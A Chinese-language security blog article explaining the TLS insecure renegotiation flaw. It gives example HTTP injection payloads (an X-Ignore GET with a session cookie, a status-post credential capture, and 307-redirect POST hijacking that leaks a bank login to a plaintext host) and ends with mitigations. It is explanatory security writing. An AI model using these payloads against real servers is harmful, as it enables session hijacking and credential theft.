【TLS】SSL/TLS協議安全之不安全的重協商

標籤：

 

 

周末閱讀TLS的相關材料，發現不安全的重協商這塊網上沒什麼中文資料，於是總結一下寫了篇小文章。同時拿給了360安全播報(http://bobao.360.cn/learning/detail/2273.html)，但是那個格式有點錯了，這裡也貼上來，請不吝指教，謝謝！

 0x00 背景

這些年來，SSL/TLS協議的安全性一直是國內外安全研究者研究的重點。在近些年裡，針對TLS的漏洞，出現了很多種攻擊，如2009年的InSecure Renegotiation（不安全的重協商），2011年的BEAST攻擊，2012年的CRIME攻擊，以及2013年的Lucky 13，RC4 biases，TIME和BREACH，還有2014年的貴賓犬Poodle攻擊。

我們知道，在SSL3.0中引入了支援密碼學參數的重協商的特性。當Client或者Server請求重新談判時，將會有一次新的握手過程，以協商新的安全參數。

這一切看起來都沒有問題，但是安全研究者們仍然發現了安全問題，這就是我們今天討論的主題：Insecure Renegotiation。

 0x01 重協商安全

這個安全問題的起因在於，應用程式層和加密傳輸層因為分層的設計，幾乎沒有互動。舉個例子來說，重協商可以發生在一次HTTP請求過程的中間，但應用程式層並不知曉。
此外，還有可能的一種情況是，Web伺服器會將重協商之前的接收資料緩衝，和重協商之後的資料一起轉寄給應用伺服器。當然重協商之後參數會發生變化，如可能使用了不同的用戶端認證，從而最終導致了TLS和Web應用出現mismatch（不協調）。

攻擊流程：

1. 攻擊者攔截受害者到伺服器的Handshake請求包
2. 攻擊者建立一個TCP串連到伺服器（SSL）以發送Payload
3. 接下來，攻擊者將第一步攔截下來的包發出去。對於伺服器來說，以為受害者發起了重協商請求，所以重建立立了TLS串連，但是卻忽視了資料的完整性，將兩次資料接在一起，從而造成了有害資料的注入。

如下。這裡我們示意其對HTTP GET請求的一次注入過程。

通過重放Client（victim）的重協商請求包，我們發起攻擊。利用的前提條件是找到一個觸發重協商的點。當然如果有使用者主動發起重協商是最好不過的，如果一些網站在某些條件下需要重協商，攻擊者也可以加以利用。

 0x02 攻擊的利用：HTTP

利用不安全的重協商，其攻擊的影響主要取決於底層協議和伺服器的實現，攻擊HTTP是最容易想到的一種利用，這種攻擊存在很多變體，Thierry Zoller對HTTP攻擊提出了攻擊向量與POC。

 1. 任意GET命令執行

這是最簡單的攻擊，舉個例子吧：

GET /PATH/TO/RESOURCE.jsp HTTP/1.0
X-Ignore: GET /index.jsp HTTP/1.0
Cookie: JSESSIONID=BASD429ERTLKP09W3P0932K

加粗的部分就是我們前面注入的Payload。
攻擊者雖然借用了受害者的身份憑證等機密資訊訪問了任意GET，但是攻擊者不可能獲得返回的結果，這種效果和CSRF攻擊的效果比較像。

 2.憑證盜竊

訪問中比較重要的資訊就是Cookie、Session等憑證資訊，也是攻擊者瞄準的重點。Anil在Twitter（這是什麼網XD）上提出了這種攻擊：

POST /statuses/update.xml HTTP/1.0
Authorization: Basic [attacker‘s credentials]
Content-Type: application/x-www-form-urlencoded
Content-Length: [estimated body length]
status=POST /statuses/update.xml HTTP/1.1
Authorization: Basic [victim‘s credentials]

加粗部分是我們的Payload。前一陣很流行用思聰老公的號發微博，這個正好相反。

 3.使用者重新導向

如果攻擊者可以發現攻擊目標網站有一些使用者重新導向的存在，那麼攻擊就更加有意思了，Mikhail對此進行了一些探索：

1 將使用者重新導向到惡意網站

如果我們發現的重新導向點可以將參數回放到返回重新導向的Location欄位，那麼我們可以很容易將使用者重新導向到惡意網站，不過這種情況並不多見。

2 降級劫持

如果重新導向的點是不受HTTPS保護的plaintext web site，那麼TCP串連便會暴露，我們即可以通過SSLSTRIP的方式劫持受害者的訪問。

GET /Some300Resource HTTP/1.1
Connection:close
Host:virtualhost2.com
\r\n\r\n
GET /clientsoriginalrequest HTTP 1.1
Host:bank.com

3 POST 劫持

如果返回307狀態的使用者跳轉的話，代表著伺服器要求瀏覽器以和本次訪問一樣的Request訪問跳轉的內容。
我們來看下面的攻擊過程：

MITM->Bank.com:443

POST /some307resource HTTP/1.1
X-Ignore: POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

Client<-Bank.com:443

307 OK HTTP/1.1
Location: http://www.plaintext.com/PostComment
\r\n\r\n

Client->MITM:80->plaintext.com:80

POST /PostComment HTTP/1.1
Host: plaintext.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

在這一步，攻擊者作為中間人已經可以獲得受害者的賬戶密碼。

Client<-MITM:80
307 OK HTTP/1.1
Location: https://www.bank.com/login.jsp
\r\n\r\n

Client->Bank.com:443
POST /login.jsp HTTP/1.1
Host: Bank.com
Content-Length: 100
username = windcarp&password=secretmsg
\r\n\r\n

為了使攻擊偽裝的更好，我們用一個307跳轉跳回bank登陸，看起來什麼都沒有發生，但是攻擊已經成功。

4 其他

TRACE http請求需要server將request放在response中原樣返回。如果這種情況出現我們就可以控制返回包中的一些內容。有趣的是，有些小眾的瀏覽器可以以http格式解析包頭中的內容從而造成XSS。

 0x03 其他協議

針對SMTP和FTP兩種協議也存在著攻擊的理論可能。

對於SMTP，Wietse Venema針對Postfix做了研究，但是僥倖的是，因為一些實現的問題，導致這個漏洞並不會被觸發。與此同時，SMTP本身安全性過差導致這個漏洞沒有很大的價值。

對於FTP，則可以利用這個漏洞達到TELL SERVER DISABLE ENCRYPTION的效果，之後所有的資料就會取消加密，從而造成資訊泄露的問題。

 0x04 結語

解決不安全的重協商這種攻擊在起初時給出了兩個思路：

1. 升級到支援安全的重協商
2. 直接關閉重協商的選項

不用分析，兩種方法高下立判。當然，在新版本的傳輸層安全性通訊協定中這個問題已經得到了很好的解決，但是漏洞與攻擊思路，在我們今天的安全研究中仍可以起到一些借鑒作用。

 Reference

[1]MITM attack on delayed TLS-client auth through renegotiation
http://www.ietf.org/mail-archive/web/tls/current/msg03928.html
[2]TLS/SSLv3 renegotiation vulnerability explained
http://www.g-sec.lu/tools.html
[3]TLS renegotiation vulnerability: definitely not a full blown MITM, yet more than just a simple CSRF
http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html
[4]Generalization of the TLS Renegotiation Flaw Using HTTP 300 Redirection to Effect Cryptographic Downgrade Attacks b284
http://www.leviathansecurity.com/white-papers/tls-and-ssl-man-in-the-middle-vulnerability/
[5]Google
http://www.google.com

 

【TLS】SSL/TLS協議安全之不安全的重協商